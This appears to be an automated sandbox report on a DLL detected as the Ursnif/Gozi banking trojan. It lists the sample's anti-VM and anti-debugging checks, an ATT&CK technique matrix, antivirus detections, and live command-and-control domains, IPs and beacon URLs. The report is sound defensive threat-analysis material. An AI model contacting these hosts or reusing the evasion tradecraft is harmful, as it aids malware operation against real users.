Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking system information)

Source: C:\Windows\SysWOW64\rundll32.exe

Evasive API call chain: NtQuerySystemInformation,DecisionNodes,Sleep

Contains functionality to detect sleep reduction / modifications

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0072C54C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_00E3C54C

Source: C:\Windows\SysWOW64\rundll32.exe

Last function: Thread delayed

Source: C:\Windows\System32\loaddll32.exe	Window / User API: threadDelayed 1014
Source: C:\Windows\System32\loaddll32.exe	Window / User API: threadDelayed 432
Source: C:\Windows\System32\loaddll32.exe	Window / User API: threadDelayed 1247
Source: C:\Windows\System32\loaddll32.exe	Window / User API: threadDelayed 805
Source: C:\Windows\System32\loaddll32.exe	Window / User API: threadDelayed 867
Source: C:\Windows\System32\loaddll32.exe	Window / User API: threadDelayed 964

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0072C54C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_00E3C54C

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_0072165C GetSystemInfo,

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007053C4 GetModuleHandleA,GetProcAddress,lstrcpyn,lstrcpyn,lstrcpyn,FindFirstFileA,FindClose,lstrlen,lstrcpyn,lstrlen,lstrcpyn,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_00E153C4 GetModuleHandleA,GetProcAddress,lstrcpyn,lstrcpyn,lstrcpyn,FindFirstFileA,FindClose,lstrlen,lstrcpyn,lstrlen,lstrcpyn,

Source: C:\Windows\SysWOW64\rundll32.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\SysWOW64\rundll32.exe	API call chain: ExitProcess graph end node

Source: Amcache.hve.7.dr	Binary or memory string: VMware
Source: Amcache.hve.7.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/5&1ec51bf7&0&000000
Source: Amcache.hve.7.dr	Binary or memory string: @scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/5&280b647&0&000000
Source: Amcache.hve.7.dr	Binary or memory string: VMware Virtual USB Mouse
Source: loaddll32.exe, 00000000.00000002.777216026.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp, loaddll32.exe, 00000000.00000003.750161784.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp, loaddll32.exe, 00000000.00000003.772918664.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp, loaddll32.exe, 00000000.00000003.438919060.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWve MAC Layer LightWeight Filter-0000
Source: Amcache.hve.7.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.7.dr	Binary or memory string: VMware Virtual disk SCSI Disk Devicehbin
Source: Amcache.hve.7.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.7.dr	Binary or memory string: VMware7,1
Source: Amcache.hve.7.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.7.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.7.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW71.00V.13989454.B64.1906190538,BiosReleaseDate:06/19/2019,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware7,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: loaddll32.exe, 00000000.00000002.777216026.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp, loaddll32.exe, 00000000.00000003.439117348.0000000000ACD000.00000004.00000020.00020000.00000000.sdmp, loaddll32.exe, 00000000.00000003.750161784.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp, loaddll32.exe, 00000000.00000003.750087069.0000000000A8E000.00000004.00000020.00020000.00000000.sdmp, loaddll32.exe, 00000000.00000003.772918664.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp, loaddll32.exe, 00000000.00000003.438919060.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp, loaddll32.exe, 00000000.00000002.776884531.0000000000A5B000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000007.00000002.314927336.0000000004A62000.00000004.00000800.00020000.00000000.sdmp, WerFault.exe, 00000007.00000003.312790180.0000000004A62000.00000004.00000800.00020000.00000000.sdmp, WerFault.exe, 00000007.00000003.312588018.0000000004A62000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.7.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.7.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.7.dr	Binary or memory string: VMware, Inc.me
Source: Amcache.hve.7.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/5&280b647&0&000000
Source: Amcache.hve.7.dr	Binary or memory string: VMware-42 35 bb 32 33 75 d2 27-52 00 3c e2 4b d4 32 71
Source: Amcache.hve.7.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/5&1ec51bf7&0&000000

Anti Debugging

Found API chain indicative of debugger detection

Source: C:\Windows\SysWOW64\rundll32.exe

Debugger detection routine: NtQueryInformationProcess or NtQuerySystemInformation, DecisionNodes, ExitProcess or Sleep

Source: C:\Windows\System32\loaddll32.exe

Source: C:\Windows\SysWOW64\rundll32.exe	Process queried: DebugPort
Source: C:\Windows\SysWOW64\rundll32.exe	Process queried: DebugPort

Source: C:\Windows\System32\loaddll32.exe

Memory protected: page write copy | page execute and write copy | page guard

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\hFGZpat9Mf.dll",#1

Source: C:\Windows\System32\loaddll32.exe	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,
Source: C:\Windows\System32\loaddll32.exe	Code function: GetLocaleInfoA,GetACP,
Source: C:\Windows\System32\loaddll32.exe	Code function: GetLocaleInfoA,
Source: C:\Windows\System32\loaddll32.exe	Code function: GetLocaleInfoA,
Source: C:\Windows\System32\loaddll32.exe	Code function: lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoA,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoA,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoA,GetACP,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoA,

Source: C:\Windows\System32\loaddll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_00E19C14 GetLocalTime,

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_0070C10C GetVersionExA,

Source: Amcache.hve.7.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.7.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe

Stealing of Sensitive Information

Yara detected Ursnif

Source: Yara match	File source: 00000000.00000003.481994883.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.302599061.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.302425761.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.302331542.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.302218181.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.302044791.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.301848056.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.302504649.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.301661083.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.777721996.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: loaddll32.exe PID: 988, type: MEMORYSTR
Source: Yara match	File source: 3.2.rundll32.exe.ee0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.rundll32.exe.ee0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.1080000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.rundll32.exe.1080000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.9e0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.rundll32.exe.1080000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.rundll32.exe.1080000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.rundll32.exe.ed0184.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.ed0184.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.9e0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.2500000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.1080000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.890184.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.rundll32.exe.1080000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.rundll32.exe.ee0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.2a094a0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.8a0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.2a094a0.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.rundll32.exe.ed0184.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.777601117.0000000002A09000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.253570198.0000000001080000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.315781287.0000000001080000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.253536439.0000000000ED0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.315692460.0000000000ED0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.776718826.00000000009E0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.776603802.0000000000890000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.254119232.0000000000ED0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.253543214.0000000000EE0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.776641923.00000000008A0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.254127070.0000000000EE0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.254160040.0000000001080000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.315717603.0000000000EE0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Ursnif

Source: Yara match	File source: 00000000.00000003.481994883.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.302599061.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.302425761.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.302331542.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.302218181.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.302044791.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.301848056.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.302504649.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.301661083.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.777721996.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: loaddll32.exe PID: 988, type: MEMORYSTR
Source: Yara match	File source: 3.2.rundll32.exe.ee0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.rundll32.exe.ee0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.1080000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.rundll32.exe.1080000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.9e0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.rundll32.exe.1080000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.rundll32.exe.1080000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.rundll32.exe.ed0184.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.ed0184.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.9e0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.2500000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.1080000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.890184.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.rundll32.exe.1080000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.rundll32.exe.ee0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.2a094a0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.8a0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.2a094a0.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.rundll32.exe.ed0184.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.777601117.0000000002A09000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.253570198.0000000001080000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.315781287.0000000001080000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.253536439.0000000000ED0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.315692460.0000000000ED0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.776718826.00000000009E0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.776603802.0000000000890000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.254119232.0000000000ED0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.253543214.0000000000EE0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.776641923.00000000008A0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.254127070.0000000000EE0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.254160040.0000000001080000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.315717603.0000000000EE0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	31 Input Capture	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	3 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 System Shutdown/Reboot
Default Accounts	11 Native API	Boot or Logon Initialization Scripts	11 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	1 Screen Capture	Exfiltration Over Bluetooth	1 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	2 Obfuscated Files or Information	Security Account Manager	116 System Information Discovery	SMB/Windows Admin Shares	31 Input Capture	Automated Exfiltration	3 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	1 Clipboard Data	Scheduled Transfer	13 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	231 Security Software Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	11 Virtualization/Sandbox Evasion	Cached Domain Credentials	11 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	11 Process Injection	DCSync	11 Application Window Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	1 Rundll32	Proc Filesystem	1 Remote System Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
hFGZpat9Mf.dll	21%	Virustotal		Browse
hFGZpat9Mf.dll	33%	ReversingLabs	Win32.Infostealer.Gozi
hFGZpat9Mf.dll	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
3.0.rundll32.exe.1080000.3.unpack	100%	Avira	TR/Crypt.XPACK.Gen8	Download File
0.2.loaddll32.exe.890184.1.unpack	100%	Avira	TR/Kazy.4159236	Download File
3.2.rundll32.exe.e10000.0.unpack	100%	Avira	HEUR/AGEN.1108767	Download File
3.0.rundll32.exe.ed0184.5.unpack	100%	Avira	TR/Kazy.4159236	Download File
0.2.loaddll32.exe.2500000.4.unpack	100%	Avira	HEUR/AGEN.1108168	Download File
3.0.rundll32.exe.ed0184.1.unpack	100%	Avira	TR/Kazy.4159236	Download File
3.2.rundll32.exe.1080000.3.unpack	100%	Avira	TR/Crypt.XPACK.Gen8	Download File
3.0.rundll32.exe.e10000.0.unpack	100%	Avira	HEUR/AGEN.1108767	Download File
0.2.loaddll32.exe.9e0000.3.unpack	100%	Avira	TR/Crypt.XPACK.Gen8	Download File
3.0.rundll32.exe.e10000.4.unpack	100%	Avira	HEUR/AGEN.1108767	Download File
3.0.rundll32.exe.1080000.7.unpack	100%	Avira	TR/Crypt.XPACK.Gen8	Download File
3.2.rundll32.exe.ed0184.1.unpack	100%	Avira	TR/Kazy.4159236	Download File
0.2.loaddll32.exe.700000.0.unpack	100%	Avira	HEUR/AGEN.1108767	Download File

Domains

Source	Detection	Scanner	Label	Link
giporedtrip.at	12%	Virustotal		Browse
habpfans.at	12%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://www.dhtmlcentral.com/forums/forum.asp?FORUM_ID=2&CAT_ID=1&Forum_Title=CoolMenus	0%	Virustotal		Browse
http://www.dhtmlcentral.com/forums/forum.asp?FORUM_ID=2&CAT_ID=1&Forum_Title=CoolMenus	0%	Avira URL Cloud	safe
http://31.214.157.187/drew/n9Q8SXORQfxecr/MW5_2Fu9_2Bgocr6670ju/D1JJTVEHrWL1TxqL/xGoJ_2FQlD36_2B/GkPBzrjzE3l7JBLY9O/1EFPlHsMW/m5HxfuFe9CAmeE3Sv9mV/WruJ_2B6bq6RWMaARg5/48WJvcYD9cWVaImnFjKYnp/qqfI438hlaFuV/Cz10Llo3/y28DCtREPMb5OZnUZKj2hAx/fvbD6E0k2X/xMHWSCI5symguz2Bp/FnCO_2F0QOq8/vwhEVJIxW/5.jlk	0%	Avira URL Cloud	safe
http://habpfans.at/drew/AvYfyTR_2B2G3/_2F4h5ah/TJ34ZXtaMR1Oc3_2BPI0hI4/GdwumcM9XU/qAwknuMeebVU2QdSF/VN2ToaIYsZPU/kI1do_2B9jW/Q9gfyv85CoHPvT/SnqcLw3TTcQW61PNrLWiv/_2BkKhdRaMJkT9HD/82Fg3tERnOrn6Yg/fT2SNRr4ih8M1B9lEq/WIX8riitn/8yNrCBKJNgpm3khA4gSx/B8X3zDAJaQCYV1F4k99/jQHMcxYL/Il8wT6lWu/Ih.jlk	100%	Avira URL Cloud	malware
http://giporedtrip.at/drew/vDXEGqf4EaI6e/GBZCusNA/wGFZ17UZEew5_2F3lztpfux/SlqAMrP7W1/XBD36Fnf1Eq7wA6HD/bZQhlGWv2oMx/02wZPYg1S9_/2FsBPVVzIGiliu/ZgesoO3_2BU1Itp9mWBBQ/zS9Fa06G7Ifi1Qdi/yVB_2BRlu8Zp_2B/LJtKQv4YtcqH6IAzxR/L6Ho0ZvfB/evXUKtmzU_2B4Fe1cs5B/1wJA25jdSjnKCVAyqP7/xAdhGKLVvM/CvkvXIJYGs/9.jlk	100%	Avira URL Cloud	malware
http://194.76.226.200/drew/ozC7eSUmzahvYkYKrp/EnTXsLZQu/ZxwfzvyOea6Ms_2FcWiK/QVPuXmRecwMBmPtS2pP/K1YuqB0TTP3PJ7dc3csdFA/1Ac_2BGJ3ahfL/ClNkrX58/ZDofYbeDbIVvrUisO8PwbQv/pc3vAH6GWF/x_2B4_2BbH_2B0wxz/YCHkmZmDbaCX/aMf9JRtYupc/_2Ben2gyoQcqJb/gP1jDokjfsnRCuX4LwXIc/R6CnFb_2FUwS1dKT/G7Z9QUvFXshW5HS/y.jlk	0%	Avira URL Cloud	safe
http://194.76.226.200/drew/t4UXVVFvbg_2F3LXo8gXBT/1icGJdsG14mTA/YOVrBwZF/xARqsNBXczJePkKt2X6ww_2/BWmoPwSUrF/dMkwNYvCaezjn8JBl/H0ytvGxBbW3l/zR2N_2BHrz_/2FvsAN_2FRzTTC/lSSKBusA2w75D7HkZKGJs/DACOMqt0XK0wSfc5/bo0iFsZeiFg2i2l/JDzyY2V7hheHpK0ocJ/ZgcshLwb0/jlOmaQmjqFbHJJo3m7Pt/o4K7mLse1jm/1K47Z.jlk	0%	Avira URL Cloud	safe
http://habpfans.at/	100%	Avira URL Cloud	malware
http://habpfans.at/drew/5tHE_2Fl/pXBoYLIb7sXj6_2FbgEdP7S/1g8RiyhGmo/7FzHWL9Gm5Pao_2Bw/5oh73gE4juwn/w	100%	Avira URL Cloud	malware
http://31.214.157.187/drew/XdSo6qg_2FEgYysST/WOvXNJFccrJx/zVwG0bEZwA1/FgOrwJqVq8qQMt/gJKBdkHK_2BRbM8cGXljg/dR5mjLhLFYJj3437/sCPrzkqYN8vu4UK/Lv8bHqBMBEjz1n4JUX/xuOm6McxD/U7cQGMW7Bxk_2BVYpR1Y/2dwD1RGZgWHtptGZcjA/6KkSFpd8oqg4xHg9j8CKKi/XQJvRiHHSuj0_/2BwWvoV7/60l_2BahFJ3qIHK1CvN87c7/jOCSFwu.jlk	0%	Avira URL Cloud	safe
http://giporedtrip.at/drew/CNAO_2FMqt2bQnnFTS9A/gZCx4lwGHYQjpKz_2Bo/eC3Q_2B6RQnBEorg_2FJk6/uEN67LHG_2FS5/_2BBd1X9/aVPauq0optO45rzbpdCQm0T/aYIRRNsEBo/KjgLaOYvR_2BgwzfQ/25S5OlQYXnss/XWKrlvnyLdL/zvJbW2nKGtMp_2/BhAqVJaOXmJzkoWYA4_2B/1sUQfL4pghiYPQ_2/Bk4zNXCpOm9uy6W/_2FwvvWoJCQywtXfuj/zSz8jbk7z4_2FaKsy/ujc.jlk	100%	Avira URL Cloud	malware
http://31.214.157.187/drew/XdSo6qg_2FEgYysST/WOvXNJFccrJx/zVwG0bEZwA1/FgOrwJqVq8qQMt/gJKBdkHK_2BRbM8	0%	Avira URL Cloud	safe
http://habpfans.at/drew/5tHE_2Fl/pXBoYLIb7sXj6_2FbgEdP7S/1g8RiyhGmo/7FzHWL9Gm5Pao_2Bw/5oh73gE4juwn/wLkUkA7sRnm/cso3yuTSujNtgI/CMmvYVa7e4KaoltzEmBTc/sgUl10rzE9jSORq1/rqqMvEmtzS52b3S/MwqSqUIn0qJ41lN07l/ltNVceIDT/qjCtCMmp_2FbkkqAoDDI/2nZPBTOmmpjaMrj1ust/QMCPjE0wKPGXBQrFS0WE_2/B3SVbiens/K.jlk	100%	Avira URL Cloud	malware
http://31.214.157.187/	0%	Avira URL Cloud	safe
http://habpfans.at/drew/AvYfyTR_2B2G3/_2F4h5ah/TJ34ZXtaMR1Oc3_2BPI0hI4/GdwumcM9XU/qAwknuMeebVU2QdSF/	100%	Avira URL Cloud	malware
http://habpfans.at/g	100%	Avira URL Cloud	malware
http://194214.157.187/	0%	Avira URL Cloud	safe
http://www.dhtmlcentral.com/tutorial.asp	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
giporedtrip.at	211.119.84.112	true	true	12%, Virustotal, Browse	unknown
habpfans.at	41.41.255.235	true	true	12%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
